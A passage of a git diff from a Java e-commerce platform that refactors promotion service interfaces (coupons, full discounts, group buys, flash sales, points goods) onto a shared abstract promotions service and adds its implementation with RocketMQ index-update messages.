获取优惠券活动VO @@ -57,13 +39,4 @@ public interface CouponActivityService extends IService { */ void registered(List couponActivityList, Member member); - - /** - * 修改优惠券活动状态 - * - * @param id 活动ID - * @param promotionStatus 活动状态 - * @return 操作状态 - */ - boolean updateCouponActivityStatus(String id, PromotionStatusEnum promotionStatus); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/CouponService.java b/framework/src/main/java/cn/lili/modules/promotion/service/CouponService.java index 3b4a526d..f81dde24 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/CouponService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/CouponService.java @@ -2,13 +2,9 @@ package cn.lili.modules.promotion.service; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.Coupon; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.service.IService; - -import java.util.List; /** * 优惠券业务层 @@ -16,76 +12,7 @@ import java.util.List; * @author Chopper * @since 2020/8/21 */ -public interface CouponService extends IService { - - /** - * 添加优惠券 - * - * @param coupon 优惠券 - * @return 是否添加成功 - */ - CouponVO add(CouponVO coupon); - - /** - * 更新优惠卷 - * - * @param coupon 优惠卷信息 - * @return 是否更新成功 - */ - CouponVO updateCoupon(CouponVO coupon); - - /** - * 更新优惠卷状态 - * - * @param couponId 优惠券编号 - * @param promotionStatus 促销状态 - * @return 更新结果 - */ - boolean updateCouponStatus(List couponId, PromotionStatusEnum promotionStatus); - - /** - * 删除优惠券 - * - * @param id 优惠券id - * @return 是否删除成功 - */ - boolean deleteCoupon(String id); - - - /** - * 根据查询条件从mongo中获取优惠券信息列表 - * - * @param param 查询参数 - * @param page 分页参数 - * @return 优惠券信息列表 - */ - IPage getCouponsByPageFromMongo(CouponSearchParams param, PageVO page); - - /** - * 根据查询条件从mongo中获取优惠券信息列表 - * - * @param param 查询参数 - * @param page 分页参数 - * @return 优惠券信息列表 - */ - IPage getCanReceiveCoupons(CouponSearchParams param, PageVO page); - - /** - * 获取优惠券详情 - * - * @param id 优惠券id - * @return 优惠券详情 - */ - CouponVO getCouponDetailFromMongo(String id); - - /** - * 根据条件获取优惠券列表 - * - * @param param 条件参数 - * @param page 分页条件 - * @return 可领取优惠券集合 - */ - IPage getCouponsByPage(CouponSearchParams param, PageVO page); +public interface CouponService extends AbstractPromotionsService { /** * 领取优惠券 @@ -103,7 +30,21 @@ public interface CouponService extends IService { */ void usedCoupon(String couponId, Integer usedNum); + /** + * 获取优惠券展示实体 + * + * @param searchParams 查询参数 + * @param page 分页参数 + * @return 优惠券展示实体列表 + */ + IPage pageVOFindAll(CouponSearchParams searchParams, PageVO page); - + /** + * 获取优惠券展示详情 + * + * @param couponId 优惠券id + * @return 返回优惠券展示详情 + */ + CouponVO getDetail(String couponId); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/FullDiscountService.java b/framework/src/main/java/cn/lili/modules/promotion/service/FullDiscountService.java index e84a7bda..04314bde 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/FullDiscountService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/FullDiscountService.java @@ -1,12 +1,7 @@ package cn.lili.modules.promotion.service; -import cn.lili.common.vo.PageVO; import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; import cn.lili.modules.promotion.entity.dos.FullDiscount; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; -import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.service.IService; import java.util.List; @@ -16,7 +11,7 @@ import java.util.List; * @author Chopper * @since 2020/8/21 */ -public interface FullDiscountService extends IService { +public interface FullDiscountService extends AbstractPromotionsService { /** * 当前满优惠活动 @@ -26,41 +21,6 @@ public interface FullDiscountService extends IService { */ List currentPromotion(List storeId); - /** - * 添加满优惠活动 - * - * @param fullDiscountVO 满优惠活动信息 - * @return 满优惠活动 - */ - FullDiscount addFullDiscount(FullDiscountVO fullDiscountVO); - - /** - * 从mysql中分页获取满优惠列表 - * - * @param searchParams 参数 - * @param page 分页参数 - * @return 满优惠列表 - */ - IPage getFullDiscountByPageFromMysql(FullDiscountSearchParams searchParams, PageVO page); - - /** - * 从mongo中分页获取满优惠列表 - * - * @param searchParams 搜索参数 - * @param page 分页参数 - * @return 满优惠列表 - */ - IPage getFullDiscountByPageFromMongo(FullDiscountSearchParams searchParams, PageVO page); - - - /** - * 修改满优惠活动 - * - * @param fullDiscountVO 满优惠活动信息 - * @return 满优惠活动 - */ - FullDiscountVO modifyFullDiscount(FullDiscountVO fullDiscountVO); - /** * 获取满优惠活动详情 * @@ -69,21 +29,6 @@ public interface FullDiscountService extends IService { */ FullDiscountVO getFullDiscount(String id); - /** - * 删除满优惠获取 - * - * @param id 满优惠活动编号 - * @return 删除结果 - */ - boolean deleteFullDiscount(String id); - /** - * 更新满额活动状态 - * - * @param id 优惠券编号 - * @param promotionStatus 促销状态 - * @return 更新结果 - */ - boolean updateFullDiscountStatus(String id, PromotionStatusEnum promotionStatus); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java index 7ef066bd..bf5645c7 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java @@ -38,7 +38,7 @@ public interface KanjiaActivityGoodsService extends IService getForPage(KanjiaActivityGoodsParams kanJiaActivityGoodsParams, PageVO pageVO); + IPage getForPage(KanjiaActivityGoodsParams kanJiaActivityGoodsParams, PageVO pageVO); /** * 查询砍价活动商品分页信息 @@ -62,7 +62,7 @@ public interface KanjiaActivityGoodsService extends IService ids); - /** - * 根据skuID查询当前进行的砍价商品信息 - * - * @param skuId 商品skuId - * @return - */ - KanjiaActivityGoodsDTO getKanJiaGoodsBySku(String skuId); - } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java b/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java index db43622c..429915ec 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java @@ -25,6 +25,14 @@ public interface MemberCouponService extends IService { */ void checkCouponLimit(String couponId, String memberId); + /** + * 领取优惠券 + * + * @param couponId 优惠券编号 + * @param memberId 会员 + * @param memberName 会员名称 + */ + void receiveBuyerCoupon(String couponId, String memberId, String memberName); /** * 领取优惠券 @@ -109,4 +117,11 @@ public interface MemberCouponService extends IService { */ void cancellation(String id); + /** + * 关闭会员优惠券 + * + * @param couponIds 优惠券id集合 + */ + void closeMemberCoupon(List couponIds); + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PintuanService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PintuanService.java index cc2cd853..02b50374 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PintuanService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PintuanService.java @@ -1,15 +1,10 @@ package cn.lili.modules.promotion.service; -import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.vos.PintuanMemberVO; -import cn.lili.modules.promotion.entity.vos.PintuanSearchParams; import cn.lili.modules.promotion.entity.vos.PintuanShareVO; import cn.lili.modules.promotion.entity.vos.PintuanVO; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.service.IService; -import java.util.Date; import java.util.List; /** @@ -18,16 +13,8 @@ import java.util.List; * @author Chopper * @since 2020/11/18 9:45 上午 */ -public interface PintuanService extends IService { +public interface PintuanService extends AbstractPromotionsService { - /** - * 根据条件分页查询拼团活动列表 - * - * @param param 拼团活动查询参数 - * @param page 分页参数 - * @return 拼团活动列表 - */ - IPage getPintuanByPage(PintuanSearchParams param, PageVO page); /** * 获取当前拼团的会员 @@ -37,80 +24,13 @@ public interface PintuanService extends IService { */ List getPintuanMember(String pintuanId); - /** - * 从mongo中根据条件分页查询拼团活动列表 - * - * @param param 拼团活动查询参数 - * @param page 分页参数 - * @return 拼团活动列表 - */ - IPage getPintuanByPageFromMongo(PintuanSearchParams param, PageVO page); - /** * 从mongo中查询拼团活动详情 * * @param id 拼团ID * @return 拼团活动详情 */ - PintuanVO getPintuanByIdFromMongo(String id); - - /** - * 从mysql中查询拼团活动详情 - * - * @param id 拼团活动id - * @return 拼团活动详情 - */ - Pintuan getPintuanById(String id); - - /** - * 从mongo中根据条件查询拼团活动总数 - * - * @param param 拼团活动查询参数 - * @return 总数 - */ - Long getPintuanByPageFromMongoCount(PintuanSearchParams param); - - /** - * 拼团新增业务处理 - * - * @param pintuan 拼团实体 - * @return 是否成功 - */ - boolean addPintuan(PintuanVO pintuan); - - /** - * 拼团修改 - * - * @param pintuan 拼团实体 - * @return 是否成功 - */ - boolean modifyPintuan(PintuanVO pintuan); - - /** - * 开启拼团 - * - * @param pintuanId 拼团活动编号 - * @param startTime 开始时间 - * @param endTime 结束时间 - * @return 是否成功 - */ - boolean openPintuan(String pintuanId, Date startTime, Date endTime); - - /** - * 关闭拼团 - * - * @param pintuanId 拼团活动编号 - * @return 是否成功 - */ - boolean closePintuan(String pintuanId); - - /** - * 删除拼团 - * - * @param pintuanId 拼团活动编号 - * @return 是否成功 - */ - boolean deletePintuan(String pintuanId); + PintuanVO getPintuanVO(String id); /** * 获取拼团分享信息 diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PointsGoodsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PointsGoodsService.java index faac3f07..948d98f8 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PointsGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PointsGoodsService.java @@ -1,11 +1,7 @@ package cn.lili.modules.promotion.service; -import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.PointsGoods; -import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.service.IService; import java.util.List; @@ -15,40 +11,15 @@ import java.util.List; * @author paulG * @since 2020/11/18 9:45 上午 **/ -public interface PointsGoodsService extends IService { +public interface PointsGoodsService extends AbstractPromotionsService { /** - * 批量添加积分商品 + * 批量保存库存商品 * - * @param pointsGoodsList 积分商品列表 - * @return 是否添加成功 + * @param promotionsList 积分商品列表 + * @return 是否保存成功 */ - boolean addPointsGoods(List pointsGoodsList); - - /** - * 更新一个积分商品 - * - * @param pointsGoodsDTO 编辑的积分商品信息 - * @return 是否更新成功 - */ - boolean updatePointsGoods(PointsGoodsVO pointsGoodsDTO); - - /** - * 批量更新积分商品状态 - * - * @param ids 积分商品id集合 - * @param promotionStatus 更新的状态 - * @return 是否更新成功 - */ - boolean updatePointsGoodsPromotionStatus(List ids, String promotionStatus); - - /** - * 批量删除积分商品 - * - * @param ids 积分商品id集合 - * @return 是否删除成功 - */ - boolean deletePointsGoods(List ids); + boolean savePointsGoodsBatch(List promotionsList); /** * 根据ID获取积分详情 @@ -64,15 +35,6 @@ public interface PointsGoodsService extends IService { * @param skuId 商品SkuId * @return 积分详情 */ - PointsGoodsVO getPointsGoodsVOByMongo(String skuId); - - /** - * 根据条件查询积分商品 - * - * @param searchParams 积分商品查询参数 - * @param page 分页参数 - * @return 积分商品查询结果 - */ - IPage getPointsGoodsByPage(PointsGoodsSearchParams searchParams, PageVO page); + PointsGoodsVO getPointsGoodsDetailBySkuId(String skuId); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java index c134d2f3..eb1063b7 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionGoodsService.java @@ -1,12 +1,11 @@ package cn.lili.modules.promotion.service; import cn.lili.cache.CachePrefix; -import cn.lili.common.vo.PageVO; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO; import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; +import cn.lili.common.vo.PageVO; import cn.lili.modules.order.cart.entity.vo.CartSkuVO; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; @@ -34,14 +33,6 @@ public interface PromotionGoodsService extends IService { return "{" + CachePrefix.PROMOTION_GOODS_STOCK.name() + "_" + typeEnum.name() + "}_" + promotionId + "_" + skuId; } - /** - * 删除指定促销类型的促销商品 - * - * @param promotionGoodsList 促销商品列表 - * @param promotionType 促销类型 - */ - void removePromotionGoods(List promotionGoodsList, PromotionTypeEnum promotionType); - /** * 更新促销活动 * @@ -57,14 +48,6 @@ public interface PromotionGoodsService extends IService { */ List findNowSkuPromotion(String skuId); - /** - * 分页获取促销商品信息 - * - * @param skuId 商品skuId - * @return 某商品的促销信息 - */ - List getPromotionGoods(String skuId); - /** * 分页获取促销商品信息 * @@ -72,16 +55,42 @@ public interface PromotionGoodsService extends IService { * @param pageVo 分页参数 * @return 促销商品列表 */ - IPage getPromotionGoods(PromotionGoodsSearchParams searchParams, PageVO pageVo); + IPage pageFindAll(PromotionGoodsSearchParams searchParams, PageVO pageVo); /** - * 分页获取当前进行中的促销活动的促销商品信息 + * 获取促销商品信息 * - * @param promotionType 促销活动类型 - * @param pageVo 分页参数 + * @param searchParams 查询参数 * @return 促销商品列表 */ - IPage getCurrentPromotionGoods(String promotionType, PageVO pageVo); + List listFindAll(PromotionGoodsSearchParams searchParams); + + /** + * 获取促销商品信息 + * + * @param searchParams 查询参数 + * @return 促销商品信息 + */ + PromotionGoods getPromotionsGoods(PromotionGoodsSearchParams searchParams); + + + /** + * 获取当前有效时间特定促销类型的促销商品信息 + * + * @param skuId skuId + * @param promotionTypes 特定促销类型 + * @return 促销商品信息 + */ + PromotionGoods getValidPromotionsGoods(String skuId, List promotionTypes); + + /** + * 获取当前有效时间特定促销类型的促销商品价格 + * + * @param skuId skuId + * @param promotionTypes 特定促销类型 + * @return 促销商品价格 + */ + Double getValidPromotionsGoodsPrice(String skuId, List promotionTypes); /** * 查询参加活动促销商品是否同时参加指定类型的活动 @@ -116,26 +125,6 @@ public interface PromotionGoodsService extends IService { */ List getPromotionGoodsStock(PromotionTypeEnum typeEnum, String promotionId, List skuId); - /** - * 根据条件获取促销活动商品详情 - * - * @param typeEnum 促销类型 - * @param promotionId 促销活动id - * @param skuId 商品skuId - * @return 促销活动商品详情 - */ - PromotionGoods getPromotionGoods(PromotionTypeEnum typeEnum, String promotionId, String skuId); - - /** - * 批量获取促销商品信息 - * - * @param typeEnum 促销类型 - * @param promotionId 促销活动id - * @param skuId 商品skuId - * @return 促销活动商品详情 - */ - List getPromotionGoods(PromotionTypeEnum typeEnum, String promotionId, List skuId); - /** * 更新促销活动商品库存 * @@ -146,4 +135,33 @@ public interface PromotionGoodsService extends IService { */ void updatePromotionGoodsStock(PromotionTypeEnum typeEnum, String promotionId, String skuId, Integer quantity); + /** + * 更新促销活动商品索引 + * + * @param promotionGoods 促销商品信息 + */ + void updatePromotionGoodsByPromotions(PromotionGoods promotionGoods); + + /** + * 删除促销商品 + * + * @param promotionId 促销活动id + * @param skuIds skuId + */ + void deletePromotionGoods(String promotionId, List skuIds); + + /** + * 删除促销促销商品 + * + * @param promotionIds 促销活动id + */ + void deletePromotionGoods(List promotionIds); + + /** + * 根据参数删除促销商品 + * + * @param searchParams 查询参数 + */ + void deletePromotionGoods(PromotionGoodsSearchParams searchParams); + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionService.java index 54d07cc8..99f2d01a 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PromotionService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PromotionService.java @@ -1,6 +1,5 @@ package cn.lili.modules.promotion.service; -import cn.lili.trigger.message.PromotionMessage; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import java.util.Map; @@ -13,16 +12,6 @@ import java.util.Map; */ public interface PromotionService { - - /** - * 更新促销活动状态 - * - * @param promotionMessage 促销变更信息 - * @return 是否更新成功 - */ - boolean updatePromotionStatus(PromotionMessage promotionMessage); - - /** * 获取当前进行的所有促销活动信息 * diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java index 928bb00c..0a126c1d 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillApplyService.java @@ -36,18 +36,26 @@ public interface SeckillApplyService extends IService { List getSeckillGoods(Integer timeline); /** - * 从mongo中分页查询限时请购申请列表 + * 分页查询限时请购申请列表 * * @param queryParam 秒杀活动申请查询参数 * @param pageVo 分页参数 * @return 限时请购申请列表 */ - IPage getSeckillApplyFromMongo(SeckillSearchParams queryParam, PageVO pageVo); + IPage getSeckillApply(SeckillSearchParams queryParam, PageVO pageVo); + + /** + * 分页查询限时请购申请列表 + * + * @param queryParam 秒杀活动申请查询参数 + * @return 限时请购申请列表 + */ + List getSeckillApply(SeckillSearchParams queryParam); /** * 添加秒杀活动申请 * 检测是否商品是否同时参加多个活动 - * 将秒杀商品信息存入秒杀活动中,更新mogo信息 + * 将秒杀商品信息存入秒杀活动中 * 保存秒杀活动商品,促销商品信息 * * @param seckillId 秒杀活动编号 @@ -60,7 +68,8 @@ public interface SeckillApplyService extends IService { * 批量删除秒杀活动商品 * * @param seckillId 秒杀活动活动id - * @param id 秒杀活动商品 + * @param id 秒杀活动商品 */ - void removeSeckillApply(String seckillId, String id ); + void removeSeckillApply(String seckillId, String id); + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java index 6d388d3a..d835055a 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java @@ -1,11 +1,10 @@ package cn.lili.modules.promotion.service; -import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.Seckill; -import cn.lili.modules.promotion.entity.vos.SeckillSearchParams; +import cn.lili.modules.promotion.entity.dos.SeckillApply; import cn.lili.modules.promotion.entity.vos.SeckillVO; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.service.IService; + +import java.util.List; /** * 秒杀业务层 @@ -13,30 +12,12 @@ import com.baomidou.mybatisplus.extension.service.IService; * @author Chopper * @since 2020/11/18 9:45 上午 */ -public interface SeckillService extends IService { +public interface SeckillService extends AbstractPromotionsService { /** * 预创建活动数量 */ - public static final Integer PRE_CREATION = 7; - - /** - * 从mysql中根据条件获取秒杀活动分页列表 - * - * @param queryParam 查询参数 - * @param pageVo 分页参数 - * @return 秒杀活动分页列表 - */ - IPage getSeckillByPageFromMysql(SeckillSearchParams queryParam, PageVO pageVo); - - /** - * 从mongo中根据条件获取秒杀活动分页列表 - * - * @param queryParam 查询参数 - * @param pageVo 分页参数 - * @return 秒杀活动分页列表 - */ - IPage getSeckillByPageFromMongo(SeckillSearchParams queryParam, PageVO pageVo); + Integer PRE_CREATION = 7; /** * 从mongo中获取秒杀活动信息 @@ -44,56 +25,12 @@ public interface SeckillService extends IService { * @param id 秒杀活动id * @return 秒杀活动信息 */ - SeckillVO getSeckillByIdFromMongo(String id); + SeckillVO getSeckillDetail(String id); /** * 初始化秒杀活动,默认开启三十天的秒杀活动 */ void init(); - /** - * 保存秒杀活动 - * - * @param seckill 秒杀活动 - * @return 是否保存成功 - */ - boolean saveSeckill(Seckill seckill); - - /** - * 商家报名秒杀活动活动 - * - * @param storeId 商家编号 - * @param seckillId 秒杀活动编号 - */ - void storeApply(String storeId, String seckillId); - - /** - * 修改秒杀活动 - * - * @param seckillVO 秒杀活动信息 - * @return 是否修改成功 - */ - boolean modifySeckill(SeckillVO seckillVO); - - /** - * 删除秒杀活动 - * - * @param id 秒杀活动编号 - */ - void deleteSeckill(String id); - - /** - * 开启一个秒杀活动 - * - * @param id 秒杀活动编号 - */ - void openSeckill(String id); - - /** - * 关闭一个秒杀活动 - * - * @param id 秒杀活动编号 - */ - void closeSeckill(String id); /** * 获取当前可参与的活动数量 @@ -104,7 +41,24 @@ public interface SeckillService extends IService { /** * 更新秒杀活动的商品数量 + * * @param seckillId 秒杀活动ID */ void updateSeckillGoodsNum(String seckillId); + + /** + * 更新商品索引限时抢购信息 + * + * @param seckill 限时抢购信息 + * @param seckillApplies 限时抢购商品列表 + */ + void updateEsGoodsSeckill(Seckill seckill, List seckillApplies); + + /** + * 设置秒杀活动的每个参与活动商品的详细时间 + * + * @param seckill 秒杀活动信息 + * @param seckillApply 申请参与秒杀活动的商品信息 + */ + void setSeckillApplyTime(Seckill seckill, SeckillApply seckillApply); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java new file mode 100644 index 00000000..afbd1789 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java @@ -0,0 +1,276 @@ +package cn.lili.modules.promotion.serviceimpl; + +import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONUtil; +import cn.lili.common.enums.PromotionTypeEnum; +import cn.lili.common.enums.ResultCode; +import cn.lili.common.exception.ServiceException; +import cn.lili.common.properties.RocketmqCustomProperties; +import cn.lili.common.vo.PageVO; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; +import cn.lili.modules.promotion.service.AbstractPromotionsService; +import cn.lili.modules.promotion.service.PromotionGoodsService; +import cn.lili.modules.promotion.tools.PromotionTools; +import cn.lili.mybatis.util.PageUtil; +import cn.lili.rocketmq.RocketmqSendCallbackBuilder; +import cn.lili.rocketmq.tags.GoodsTagsEnum; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import org.apache.rocketmq.spring.core.RocketMQTemplate; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.transaction.annotation.Transactional; + +import java.util.*; + +/** + * @author paulG + * @since 2021/11/30 + **/ +public class AbstractPromotionsServiceImpl, T extends BasePromotions> extends ServiceImpl implements AbstractPromotionsService { + + /** + * 促销商品 + */ + @Autowired + private PromotionGoodsService promotionGoodsService; + + /** + * rocketMq配置 + */ + @Autowired + private RocketmqCustomProperties rocketmqCustomProperties; + + /** + * rocketMq + */ + @Autowired + private RocketMQTemplate rocketMQTemplate; + + /** + * 通用促销保存 + * 调用顺序: + * 1. initPromotion 初始化促销信息 + * 2. checkPromotions 检查促销参数 + * 3. save 保存促销信息 + * 4. updatePromotionGoods 更新促销商品信息 + * 5。 updateEsGoodsIndex 更新商品索引促销信息 + * + * @param promotions 促销信息 + * @return 是否保存成功 + */ + @Override + @Transactional(rollbackFor = {Exception.class}) + public boolean savePromotions(T promotions) { + this.initPromotion(promotions); + this.checkPromotions(promotions); + boolean save = this.save(promotions); + this.updatePromotionsGoods(promotions); + this.updateEsGoodsIndex(promotions); + return save; + } + + /** + * 通用促销更新 + * 调用顺序: + * 1. checkStatus 检查促销状态 + * 2. checkPromotions 检查促销参数 + * 3. saveOrUpdate 保存促销信息 + * 4. updatePromotionGoods 更新促销商品信息 + * 5. updateEsGoodsIndex 更新商品索引促销信息 + * + * @param promotions 促销信息 + * @return 是否更新成功 + */ + @Override + @Transactional(rollbackFor = {Exception.class}) + public boolean updatePromotions(T promotions) { + this.checkStatus(promotions); + this.checkPromotions(promotions); + boolean save = this.saveOrUpdate(promotions); + this.updatePromotionsGoods(promotions); + this.updateEsGoodsIndex(promotions); + return save; + } + + /** + * 更新促销状态 + * 如果要更新促销状态为关闭,startTime和endTime置为空即可 + * + * @param ids 促销id集合 + * @param startTime 开始时间 + * @param endTime 结束时间 + * @return 是否更新成功 + */ + @Override + @Transactional(rollbackFor = {Exception.class}) + public boolean updateStatus(List ids, Long startTime, Long endTime) { + List promotionsList = this.list(new QueryWrapper().in("id", ids)); + for (T t : promotionsList) { + if (startTime != null && endTime != null) { + t.setStartTime(new Date(startTime)); + t.setEndTime(new Date(endTime)); + } else { + t.setStartTime(null); + t.setEndTime(null); + } + this.checkStatus(t); + this.updatePromotionsGoods(t); + this.updateEsGoodsIndex(t); + } + if (startTime != null && endTime != null) { + return this.update(new UpdateWrapper().in("id", ids).set("start_time", new Date(startTime)).set("end_time", new Date(endTime))); + } else { + return this.update(new UpdateWrapper().in("id", ids).set("start_time", null).set("end_time", null)); + } + } + + /** + * 移除促销活动 + * + * @param ids 促销活动id集合 + * @return 是否移除成功 + */ + @Override + @Transactional(rollbackFor = {Exception.class}) + public boolean removePromotions(List ids) { + for (String id : ids) { + T promotions = this.getById(id); + this.checkStatus(promotions); + promotions.setDeleteFlag(true); + this.updatePromotionsGoods(promotions); + this.updateEsGoodsIndex(promotions); + } + return this.removeByIds(ids); + } + + /** + * 分页查询促销信息 + * + * @param searchParams 查询参数,继承自继承促销查询参数 + * @param page 分页参数 + * @return 分页促销信息 + */ + @Override + public IPage pageFindAll(S searchParams, PageVO page) { + page.setNotConvert(false); + return this.page(PageUtil.initPage(page), searchParams.queryWrapper()); + } + + /** + * 列表查询促销信息 + * + * @param searchParams 查询参数,继承自继承促销查询参数 + * @return 列表促销信息 + */ + @Override + public List listFindAll(S searchParams) { + return this.list(searchParams.queryWrapper()); + } + + /** + * 初始化促销字段 + * + * @param promotions 促销实体 + */ + @Override + public void initPromotion(T promotions) { + if (CharSequenceUtil.isEmpty(promotions.getScopeType())) { + promotions.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name()); + } + } + + /** + * 检查促销参数 + * + * @param promotions 促销实体 + */ + @Override + public void checkPromotions(T promotions) { + PromotionTools.checkPromotionTime(promotions.getStartTime(), promotions.getEndTime()); + } + + /** + * 检查促销状态 + * + * @param promotions 促销实体 + */ + @Override + public void checkStatus(T promotions) { + T byId = this.getById(promotions.getId()); + if (byId == null) { + throw new ServiceException(ResultCode.PROMOTION_ACTIVITY_ERROR); + } + } + + /** + * 更新促销商品信息 + * + * @param promotions 促销实体 + */ + @Override + @Transactional(rollbackFor = {Exception.class}) + public void updatePromotionsGoods(T promotions) { + if (promotions.getStartTime() == null && promotions.getEndTime() == null) { + this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); + return; + } + if (PromotionsScopeTypeEnum.ALL.name().equals(promotions.getScopeType())) { + PromotionGoods promotionGoods = new PromotionGoods(); + promotionGoods.setScopeType(promotions.getScopeType()); + promotionGoods.setPromotionId(promotions.getId()); + promotionGoods.setStoreId(promotions.getStoreId()); + promotionGoods.setStoreName(promotions.getStoreName()); + promotionGoods.setStartTime(promotions.getStartTime()); + promotionGoods.setEndTime(promotions.getEndTime()); + promotionGoods.setPromotionType(this.getPromotionType().name()); + promotionGoods.setTitle(promotions.getPromotionName()); + this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); + this.promotionGoodsService.save(promotionGoods); + } + } + + /** + * 更新促销信息到商品索引 + * + * @param promotions 促销实体 + */ + @Override + public void updateEsGoodsIndex(T promotions) { + if (promotions.getStartTime() == null && promotions.getEndTime() == null) { + //删除商品促销消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.DELETE_GOODS_INDEX_PROMOTIONS.name(); + //发送mq消息 + rocketMQTemplate.asyncSend(destination, promotions.getId(), RocketmqSendCallbackBuilder.commonCallback()); + } else { + + String esPromotionKey = this.getPromotionType().name() + "-" + promotions.getId(); + Map map = new HashMap<>(); + // es促销key + map.put("esPromotionKey", esPromotionKey); + // 促销类型全路径名 + map.put("promotionsType", promotions.getClass().getName()); + // 促销实体 + map.put("promotions", promotions); + //更新商品促销消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.UPDATE_GOODS_INDEX_PROMOTIONS.name(); + //发送mq消息 + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(map), RocketmqSendCallbackBuilder.commonCallback()); + } + } + + /** + * 当前促销类型 + * + * @return 当前促销类型 + */ + @Override + public PromotionTypeEnum getPromotionType() { + return null; + } +} diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponActivityItemServiceImpl.java 